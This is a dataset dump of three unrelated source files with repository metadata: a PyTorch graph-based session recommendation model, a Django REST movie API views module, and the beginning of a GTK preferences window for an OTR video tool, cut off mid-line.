self.sr_trans2 = nn.Linear(embedding_dim, embedding_dim)\n self.reset_parameters()\n self.alpha.data = th.zeros(self.order)\n self.alpha.data[0] = th.tensor(1.0)\n # self.beta.data = th.zeros(1)\n self.beta.data = th.tensor(1.0)\n self.fusion = fusion\n self.extra = extra\n self.epoch = 0\n \n def inc_epoch(self):\n self.epoch += 1\n \n def reset_parameters(self):\n stdv = 1 / math.sqrt(self.embedding_dim)\n for weight in self.parameters():\n weight.data.uniform_(-stdv, stdv)\n \n def iid2rp(self, iid):\n tmp = th.sum(th.cat(tuple(th.unique(tmp, return_inverse=True)[1].unsqueeze(0) for tmp in th.unbind(iid, dim=0)), dim=0), dim=1)\n \n return tmp\n \n def residual(self, h1, res):\n \n for key in h1.keys():\n h1[key] += res[key]\n \n return h1\n \n def forward(self, mg):\n \n \n feats = {}\n for i in range(self.order):\n iid = mg.nodes['s' + str(i+1)].data['iid']\n feat = self.embeddings(iid) \n feat = self.feat_drop(feat)\n feat = self.expander(feat)\n if th.isnan(feat).any():\n feat = feat.masked_fill(feat != feat, 0)\n if self.norm:\n feat = nn.functional.normalize(feat, dim=-1)\n feats['s' + str(i+1)] = feat\n \n h = feats\n for idx, layer in enumerate(self.layers):\n h = layer(mg, h)\n\n last_nodes = []\n for i in range(self.order):\n if self.norm:\n h['s'+str(i+1)] = nn.functional.normalize(h['s'+str(i+1)], dim=-1)\n last_nodes.append(mg.filter_nodes(lambda nodes: nodes.data['last'] == 1, ntype='s'+str(i+1)))\n \n feat = h\n sr_g = self.readout(mg, feat, last_nodes) \n\n sr_l = th.cat([feat['s'+str(i+1)][last_nodes[i]].unsqueeze(1) for i in range(self.order)], dim=1)\n sr = th.cat([sr_l, sr_g], dim=-1)# .view(sr_l.size(0), -1)\n sr = th.cat([self.fc_sr[i](sr).unsqueeze(1) for i, sr in enumerate(th.unbind(sr, dim=1))], dim=1)\n if self.norm:\n sr = nn.functional.normalize(sr, dim=-1)\n \n \n target = self.embeddings(self.indices)\n \n if self.norm:\n target = nn.functional.normalize(target, dim=-1)\n \n if self.extra:\n logits = sr @ target.t()\n phi = self.sc_sr[0](sr).unsqueeze(-1)\n mask = th.zeros(phi.size(0), self.num_items).to(self.device)\n iids = th.split(mg.nodes['s1'].data['iid'], mg.batch_num_nodes('s1').tolist())\n for i in range(len(mask)):\n mask[i, iids[i]] = 1\n\n logits_in = logits.masked_fill(~mask.bool().unsqueeze(1), float('-inf'))\n logits_ex = logits.masked_fill(mask.bool().unsqueeze(1), float('-inf'))\n score = th.softmax(12 * logits_in.squeeze(), dim=-1)\n score_ex = th.softmax(12 * logits_ex.squeeze(), dim=-1) \n \n if th.isnan(score).any():\n score = feat.masked_fill(score != score, 0)\n if th.isnan(score_ex).any():\n score_ex = score_ex.masked_fill(score_ex != score_ex, 0)\n assert not th.isnan(score).any()\n assert not th.isnan(score_ex).any()\n # print(score.shape, score_ex.shape)\n if self.order == 1:\n phi = phi.squeeze(1)\n score = (th.cat((score.unsqueeze(1), score_ex.unsqueeze(1)), dim=1) * phi).sum(1)\n else:\n score = (th.cat((score.unsqueeze(2), score_ex.unsqueeze(2)), dim=2) * phi).sum(2)\n else:\n # print(\"no extra ****************\")\n logits = sr.squeeze() @ target.t()\n score = th.softmax(12 * logits, dim=-1)\n \n if self.order > 1 and self.fusion:\n alpha = th.softmax(self.alpha.unsqueeze(0), dim=-1).view(1, self.alpha.size(0), 1)\n g = th.ones(score.size(0), score.size(1), 1).to(self.device)\n g = alpha.repeat(score.size(0), 1, 1)\n score = (score * g).sum(1)\n elif self.order > 1:\n score = score[:, 0]\n \n # print(score.shape)\n \n score = th.log(score)\n \n return score\n \n \n", "repo_name": "SpaceLearner/SessionRec-pytorch", "sub_path": "src/models/msgifsr.py", "file_name": "msgifsr.py", "file_ext": "py", "file_size_in_byte": 12669, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 51, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.GRU", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 47, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 52, "usage_type": "name"}, {"api_name": "gnn_models.GATConv", "line_number": 58, "usage_type": "call"}, {"api_name": "gnn_models.GATConv", "line_number": 59, "usage_type": "call"}, {"api_name": "dgl.nn.pytorch.HeteroGraphConv", "line_number": 60, "usage_type": "call"}, {"api_name": "dgl.nn.pytorch", "line_number": 60, "usage_type": "name"}, {"api_name": "gnn_models.GATConv", "line_number": 62, "usage_type": "call"}, {"api_name": "gnn_models.GATConv", "line_number": 63, "usage_type": "call"}, {"api_name": "dgl.nn.pytorch.HeteroGraphConv", "line_number": 64, "usage_type": "call"}, {"api_name": "dgl.nn.pytorch", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 78, "usage_type": "call"}, {"api_name": "dgl.ops.segment.segment_reduce", "line_number": 86, "usage_type": "call"}, {"api_name": "dgl.ops.segment", "line_number": 86, "usage_type": "attribute"}, {"api_name": "dgl.ops", "line_number": 86, "usage_type": "name"}, {"api_name": "dgl.broadcast_nodes", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 94, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn.Dropout", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 106, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 109, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 110, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 111, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 112, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 114, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 115, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 116, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 118, "usage_type": "name"}, {"api_name": "torch.split", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 142, "usage_type": "call"}, {"api_name": "dgl.ops.segment.segment_softmax", "line_number": 143, "usage_type": "call"}, {"api_name": "dgl.ops.segment", "line_number": 143, "usage_type": "attribute"}, {"api_name": "dgl.ops", "line_number": 143, "usage_type": "name"}, {"api_name": "dgl.ops.segment.segment_reduce", "line_number": 146, "usage_type": "call"}, {"api_name": "dgl.ops.segment", "line_number": 146, "usage_type": "attribute"}, {"api_name": "dgl.ops", "line_number": 146, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 157, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 157, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.nn.Embedding", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 162, "usage_type": "name"}, {"api_name": "torch.arange", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 165, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleList", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 168, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 172, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 173, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.nn.PReLU", "line_number": 184, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 184, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 198, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 198, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 200, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 200, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 202, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 202, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 204, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 206, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.nn.Softmax", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 213, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 216, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 225, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 230, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 230, "usage_type": "call"}, {"api_name": "torch.unique", "line_number": 230, "usage_type": "call"}, {"api_name": "torch.unbind", "line_number": 230, "usage_type": "call"}, {"api_name": "torch.isnan", "line_number": 250, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 253, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 253, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 263, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 263, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 263, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 269, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 270, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 271, "usage_type": "call"}, {"api_name": "torch.unbind", "line_number": 271, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 273, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 273, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 273, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 279, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 279, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 279, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 284, "usage_type": "call"}, {"api_name": "torch.split", "line_number": 285, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 291, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 292, "usage_type": "call"}, {"api_name": "torch.isnan", "line_number": 294, "usage_type": "call"}, {"api_name": "torch.isnan", "line_number": 296, "usage_type": "call"}, {"api_name": "torch.isnan", "line_number": 298, "usage_type": "call"}, {"api_name": "torch.isnan", "line_number": 299, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 303, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 305, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 309, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 312, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 313, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 321, "usage_type": "call"}]} {"seq_id": "34038823450", "text": "from rest_framework.views import APIView, Request, Response, status\nfrom movies.models import Movie\nfrom movies.serializers import MovieOrderSerializer, MovieSerializer\nfrom rest_framework_simplejwt.authentication import JWTAuthentication\nfrom django.shortcuts import get_object_or_404\nfrom users.permissions import IsAuthenticatedOrReadOnly\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.pagination import PageNumberPagination\n\n\nclass MovieView(APIView, PageNumberPagination):\n authentication_classes = [JWTAuthentication]\n permission_classes = [IsAuthenticatedOrReadOnly]\n\n def post(self, request: Request) -> Response:\n serializer = MovieSerializer(data=request.data)\n\n serializer.is_valid(raise_exception=True)\n\n serializer.save(user=request.user)\n\n return Response(serializer.data, status.HTTP_201_CREATED)\n\n def get(self, request: Request) -> Response:\n # Busco os filmes e os ordeno pelo id\n movies = Movie.objects.order_by(\"id\")\n result_page = self.paginate_queryset(movies, request)\n serializer = MovieSerializer(instance=result_page, many=True)\n return self.get_paginated_response(serializer.data)\n\n\nclass MovieIdView(APIView):\n authentication_classes = [JWTAuthentication]\n permission_classes = [IsAuthenticatedOrReadOnly]\n\n def get(self, request: Request, movie_id: int) -> Response:\n movie = get_object_or_404(Movie, id=movie_id)\n serializer = MovieSerializer(instance=movie)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def delete(self, request: Request, movie_id: int) -> Response:\n movie = get_object_or_404(Movie, id=movie_id)\n movie.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass MovieOrderView(APIView):\n authentication_classes = [JWTAuthentication]\n permission_classes = [IsAuthenticated]\n\n def post(self, request: Request, movie_id: int) -> Response:\n movie = get_object_or_404(Movie, id=movie_id)\n serializer = MovieOrderSerializer(data=request.data)\n\n serializer.is_valid(raise_exception=True)\n\n serializer.save(user=request.user, movie=movie)\n\n return Response(serializer.data, status.HTTP_201_CREATED)\n", "repo_name": "yurimotaa/KBuster-API", "sub_path": "movies/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2268, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 11, "usage_type": "name"}, {"api_name": "rest_framework.pagination.PageNumberPagination", "line_number": 11, "usage_type": "name"}, {"api_name": "rest_framework_simplejwt.authentication.JWTAuthentication", "line_number": 12, "usage_type": "name"}, {"api_name": "users.permissions.IsAuthenticatedOrReadOnly", "line_number": 13, "usage_type": "name"}, {"api_name": "rest_framework.views.Request", "line_number": 15, "usage_type": "name"}, {"api_name": "movies.serializers.MovieSerializer", "line_number": 16, "usage_type": "call"}, {"api_name": "rest_framework.views.Response", "line_number": 22, "usage_type": "call"}, {"api_name": "rest_framework.views.status.HTTP_201_CREATED", "line_number": 22, "usage_type": "attribute"}, {"api_name": "rest_framework.views.status", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.views.Response", "line_number": 15, "usage_type": "name"}, {"api_name": "rest_framework.views.Request", "line_number": 24, "usage_type": "name"}, {"api_name": "movies.models", "line_number": 26, "usage_type": "name"}, {"api_name": "movies.models.Movie.objects.order_by", "line_number": 26, "usage_type": "call"}, {"api_name": "movies.models.Movie.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "movies.models.Movie", "line_number": 26, "usage_type": "name"}, {"api_name": "movies.models", "line_number": 27, "usage_type": "argument"}, {"api_name": "movies.serializers.MovieSerializer", "line_number": 28, "usage_type": "call"}, {"api_name": "rest_framework.views.Response", "line_number": 24, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 32, "usage_type": "name"}, {"api_name": "rest_framework_simplejwt.authentication.JWTAuthentication", "line_number": 33, "usage_type": "name"}, {"api_name": "users.permissions.IsAuthenticatedOrReadOnly", "line_number": 34, "usage_type": "name"}, {"api_name": "rest_framework.views.Request", "line_number": 36, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 37, "usage_type": "call"}, {"api_name": "movies.models.Movie", "line_number": 37, "usage_type": "argument"}, {"api_name": "movies.serializers.MovieSerializer", "line_number": 38, "usage_type": "call"}, {"api_name": "rest_framework.views.Response", "line_number": 39, "usage_type": "call"}, {"api_name": "rest_framework.views.status.HTTP_200_OK", "line_number": 39, "usage_type": "attribute"}, {"api_name": "rest_framework.views.status", "line_number": 39, "usage_type": "name"}, {"api_name": "rest_framework.views.Response", "line_number": 36, "usage_type": "name"}, {"api_name": "rest_framework.views.Request", "line_number": 41, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 42, "usage_type": "call"}, {"api_name": "movies.models.Movie", "line_number": 42, "usage_type": "argument"}, {"api_name": "rest_framework.views.Response", "line_number": 44, "usage_type": "call"}, {"api_name": "rest_framework.views.status.HTTP_204_NO_CONTENT", "line_number": 44, "usage_type": "attribute"}, {"api_name": "rest_framework.views.status", "line_number": 44, "usage_type": "name"}, {"api_name": "rest_framework.views.Response", "line_number": 41, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 47, "usage_type": "name"}, {"api_name": "rest_framework_simplejwt.authentication.JWTAuthentication", "line_number": 48, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 49, "usage_type": "name"}, {"api_name": "rest_framework.views.Request", "line_number": 51, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 52, "usage_type": "call"}, {"api_name": "movies.models.Movie", "line_number": 52, "usage_type": "argument"}, {"api_name": "movies.serializers.MovieOrderSerializer", "line_number": 53, "usage_type": "call"}, {"api_name": "rest_framework.views.Response", "line_number": 59, "usage_type": "call"}, {"api_name": "rest_framework.views.status.HTTP_201_CREATED", "line_number": 59, "usage_type": "attribute"}, {"api_name": "rest_framework.views.status", "line_number": 59, "usage_type": "name"}, {"api_name": "rest_framework.views.Response", "line_number": 51, "usage_type": "name"}]} {"seq_id": "74254631904", "text": "import hashlib\nimport logging\nimport os\nimport shutil\nimport sys\nimport urllib.request as urllib2\n\nfrom gi import require_version\n\nrequire_version(\"Gdk\", \"3.0\")\nrequire_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gdk, Gtk\n\nfrom otrverwaltung3p import path as otrvpath\nfrom otrverwaltung3p.gui.config_bindings import (\n CheckButtonBinding,\n ComboBoxEntryBinding,\n EntryBinding,\n RadioButtonsBinding,\n SpinbuttonBinding,\n TextbufferBinding,\n)\n\nimport requests\n\nprogs = [\"ffmpeg\", \"ffprobe\", \"ffmsindex\", \"mediainfo\", \"mkvmerge\", \"mpv\"]\n\n\nclass PreferencesWindow(Gtk.Window, Gtk.Buildable):\n __gtype_name__ = \"PreferencesWindow\"\n\n def __init__(self):\n Gtk.Window.__init__(self)\n self.log = logging.getLogger(self.__class__.__name__)\n self.app = None\n self.builder = None\n self.css = b\"\"\"\n .font_larger { font-size: larger; }\n .font_smaller { font-size: smaller; }\n .font_bold { font-weight: bold; }\n \"\"\"\n self.css_provider = Gtk.CssProvider()\n self.css_provider.load_from_data(self.css)\n self.example_filename = \"James_Bond_007_09.01.06_20-15_ard_120_TVOON_DE.mpg.HQ.avi\"\n self.example_cut_filename = \"James_Bond_007_09.01.06_20-15_ard_120_TVOON_DE.mpg.HQ-cut.avi\"\n self.filechooser_title_setup = {\n \"entry_folder_new_otrkeys\": \"Ordner für neue otrkey-Dateien\",\n \"entry_folder_uncut_avis\": \"Ordner für ungeschnittene Avis\",\n \"entry_folder_cut_avis\": \"Ordner für geschnittene Avis\",\n \"entry_folder_trash_otrkeys\": \"Müllorder für otrkey-Dateien\",\n \"entry_folder_trash_avis\": \"Müllorder für Avis\",\n \"entry_folder_archive\": \"Archiv Ordner\",\n \"entry_prog_ffmpeg\": \"Öffne ffmpeg\",\n \"entry_prog_ffprobe\": \"Öffne ffprobe\",\n \"entry_prog_ffmsindex\": \"Öffne ffmsindex\",\n \"entry_prog_mediainfo\": \"Öffne mediainfo\",\n \"entry_prog_mkvmerge\": \"Öffne mkvmerge\",\n \"entry_prog_mpv\": \"Öffne mpv\",\n \"entry_prog_decoder\": \"Öffne otrdecoder\",\n \"entry_folder_wineprefix\": \"Wineprefix für vdub.exe\",\n }\n self.last_path = None\n\n def obj(self, objectname):\n return self.builder.get_object(objectname)\n\n def do_parser_finished(self, builder):\n self.builder = builder\n self.builder.connect_signals(self)\n\n def bind_config(self, app):\n self.app = app\n # If the stored decoder is not in the standard list (see PreferenceWindow.glade)\n # it will be prepended and set as active entry.\n entries = []\n if sys.platform == \"linux\":\n entries = [\"intern-easydecoder\"]\n if shutil.which(\"otrtool\"):\n entries.append(\"otrtool\")\n for entry in entries:\n self.obj(\"entry_prog_decoder\").append(entry, entry)\n decoder_value = self.app.config.get(\"programs\", \"decoder\")\n if decoder_value not in entries:\n self.obj(\"entry_prog_decoder\").prepend(decoder_value, decoder_value)\n self.obj(\"entry_prog_decoder\").set_active(0)\n\n # 1 Speicherorte\n for folder in [\n \"folder_new_otrkeys\",\n \"folder_uncut_avis\",\n \"folder_cut_avis\",\n \"folder_trash_otrkeys\",\n \"folder_trash_avis\",\n \"folder_archive\",\n ]:\n EntryBinding(self.obj(\"entry_\" + folder), self.app.config, \"general\", folder)\n\n # 2 OTR-Einstellungen\n ComboBoxEntryBinding(self.obj(\"entry_prog_decoder\"), self.app.config, \"programs\", \"decoder\")\n CheckButtonBinding(\n self.obj(\"check_verify_decoded\"), self.app.config, \"general\", \"verify_decoded\",\n )\n EntryBinding(self.obj(\"entry_email\"), self.app.config, \"general\", \"email\")\n EntryBinding(self.obj(\"entry_password\"), self.app.config, \"general\", \"password\")\n RadioButtonsBinding(\n [self.obj(widget) for widget in [\"radioPasswdStoreConf\", \"radioPasswdStoreWallet\", \"radioPasswdStoreNot\"]],\n self.app.config,\n \"general\",\n \"passwd_store\",\n )\n CheckButtonBinding(\n self.obj(\"check_passwd_store_memory\"), self.app.config, \"general\", \"passwd_store_memory\",\n )\n\n # 3 Schneiden\n ComboBoxEntryBinding(self.obj(\"combobox_avi\"), self.app.config, \"general\", \"cut_avis_by\")\n ComboBoxEntryBinding(self.obj(\"combobox_hq\"), self.app.config, \"general\", \"cut_hqs_by\")\n ComboBoxEntryBinding(self.obj(\"combobox_hd2\"), self.app.config, \"general\", \"cut_hd2_by\")\n ComboBoxEntryBinding(self.obj(\"combobox_mp4\"), self.app.config, \"general\", \"cut_mp4s_by\")\n ComboBoxEntryBinding(self.obj(\"combobox_man_avi\"), self.app.config, \"general\", \"cut_avis_man_by\")\n ComboBoxEntryBinding(self.obj(\"combobox_man_hq\"), self.app.config, \"general\", \"cut_hqs_man_by\")\n ComboBoxEntryBinding(self.obj(\"combobox_man_hd2\"), self.app.config, \"general\", \"cut_hd2_man_by\")\n ComboBoxEntryBinding(self.obj(\"combobox_man_mp4\"), self.app.config, \"general\", \"cut_mp4s_man_by\")\n ComboBoxEntryBinding(self.obj(\"h264_codec_cbox\"), self.app.config, \"general\", \"h264_codec\")\n ComboBoxEntryBinding(self.obj(\"combobox_ac3\"), self.app.config, \"general\", \"merge_ac3s_by\")\n CheckButtonBinding(self.obj(\"check_merge_ac3\"), self.app.config, \"general\", \"merge_ac3s\")\n ComboBoxEntryBinding(\n self.obj(\"smkv_first_audio\"),\n self.app.config,\n \"smartmkvmerge\",\n \"first_audio_stream\",\n data=[\"normalize_audio\", self.obj(\"check_normalize_audio\")],\n )\n ComboBoxEntryBinding(\n self.obj(\"smkv_second_audio\"),\n self.app.config,\n \"smartmkvmerge\",\n \"second_audio_stream\",\n data=[\"normalize_audio\", self.obj(\"check_normalize_audio\")],\n )\n EntryBinding(self.obj(\"smkv_workingdir\"), self.app.config, \"smartmkvmerge\", \"workingdir\")\n CheckButtonBinding(\n self.obj(\"check_normalize_audio\"), self.app.config, \"smartmkvmerge\", \"normalize_audio\",\n )\n CheckButtonBinding(self.obj(\"smkv_mp4\"), self.app.config, \"smartmkvmerge\", \"remux_to_mp4\")\n ComboBoxEntryBinding(\n self.obj(\"encoder_engine\"), self.app.config, \"smartmkvmerge\", \"encoder_engine\",\n )\n\n # 4 Cutlist\n EntryBinding(self.obj(\"entry_server\"), self.app.config, \"general\", \"server\")\n RadioButtonsBinding(\n [self.obj(widget) for widget in [\"radio_size\", \"radio_filename\"]],\n self.app.config,\n \"general\",\n \"choose_cutlists_by\",\n )\n CheckButtonBinding(\n self.obj(\"check_delete_cutlists\"), self.app.config, \"general\", \"delete_cutlists\",\n )\n EntryBinding(\n self.obj(\"entry_cutlist_username\"), self.app.config, \"general\", \"cutlist_username\",\n )\n CheckButtonBinding(\n self.obj(\"check_mplayer_fullscreen\"), self.app.config, \"general\", \"mplayer_fullscreen\",\n )\n CheckButtonBinding(\n self.obj(\"check_prefer_mplayer\"), self.app.config, \"general\", \"prefer_mplayer\",\n )\n CheckButtonBinding(\n self.obj(\"check_ignore_suggested\"), self.app.config, \"general\", \"ignore_suggested_filename\",\n )\n EntryBinding(\n self.obj(\"entry_cutlist_comment\"), self.app.config, \"general\", \"cutlist_comment\",\n )\n TextbufferBinding(\n self.obj(\"txtbuf_snippets\"), self.app.config, \"general\", \"snippets\", self.obj,\n )\n\n # 5 Umbenennen\n CheckButtonBinding(self.obj(\"check_rename_cut\"), self.app.config, \"general\", \"rename_cut\")\n EntryBinding(self.obj(\"entry_schema\"), self.app.config, \"general\", \"rename_schema\")\n\n # 6 Hauptfenster\n SpinbuttonBinding(self.obj(\"spinbutton_iconsize\"), self.app.config, \"general\", \"icon_size\")\n CheckButtonBinding(\n self.obj(\"check_use_internal_icons\"), self.app.config, \"general\", \"use_internal_icons\",\n )\n CheckButtonBinding(\n self.obj(\"check_hide_archive_buttons\"), self.app.config, \"general\", \"hide_archive_buttons\",\n )\n CheckButtonBinding(\n self.obj(\"check_sort_record_date\"), self.app.config, \"general\", \"sort_record_date\",\n )\n ComboBoxEntryBinding(\n self.obj(\"entry_cut_default\"), self.app.config, \"general\", \"cut_action\", data=[\"cut_default\"],\n )\n CheckButtonBinding(\n self.obj(\"check_show_conclusiondialog_after_cutting\"),\n self.app.config,\n \"general\",\n \"show_conclusiondialog_after_cutting\",\n )\n\n # 7 Cutinterface\n SpinbuttonBinding(\n self.obj(\"spinbtn_seeker\"), self.app.config, \"cutinterface\", \"seek_distance_default\",\n )\n SpinbuttonBinding(self.obj(\"spinbtn_seek1\"), self.app.config, \"cutinterface\", \"seek1\")\n SpinbuttonBinding(self.obj(\"spinbtn_seek2\"), self.app.config, \"cutinterface\", \"seek2\")\n SpinbuttonBinding(self.obj(\"spinbutton_x\"), self.app.config, \"cutinterface\", \"resolution_x\")\n SpinbuttonBinding(self.obj(\"spinbutton_y\"), self.app.config, \"cutinterface\", \"resolution_y\")\n CheckButtonBinding(self.obj(\"check_vol_adjust_on\"), self.app.config, \"general\", \"vol_adjust_on\")\n EntryBinding(self.obj(\"entry_vol_adjust\"), self.app.config, \"general\", \"vol_adjust\")\n CheckButtonBinding(\n self.obj(\"check_alt_time_frame_conv\"), self.app.config, \"cutinterface\", \"alt_time_frame_conv\",\n ),\n SpinbuttonBinding(\n self.obj(\"spinbutton_test_cut_offset_secs\"), self.app.config, \"cutinterface\", \"test_cut_offset_secs\",\n )\n CheckButtonBinding(\n self.obj(\"check_autosearch_cutlist\"), self.app.config, \"cutinterface\", \"autosearch_cutlist\",\n )\n CheckButtonBinding(\n self.obj(\"check_show_tooltips\"), self.app.config, \"cutinterface\", \"show_tooltips\",\n )\n CheckButtonBinding(\n self.obj(\"check_mouse_hide_over_video\"), self.app.config, \"cutinterface\", \"mouse_hide_over_video\",\n )\n CheckButtonBinding(\n self.obj(\"check_scrolling_inverted\"), self.app.config, \"cutinterface\", \"scrolling_inverted\",\n )\n\n CheckButtonBinding(\n self.obj(\"check_not_force_search_cutlist_by_name\"),\n self.app.config,\n \"cutinterface\",\n \"not_force_search_cutlist_by_name\",\n )\n\n # 8 Programme\n for prog in [\n \"ffmpeg\",\n \"ffprobe\",\n \"ffmsindex\",\n \"x264\",\n \"mediainfo\",\n \"mkvmerge\",\n \"mpv\",\n \"vdub\",\n ]:\n EntryBinding(self.obj(\"entry_prog_\" + prog), self.app.config, \"programs\", 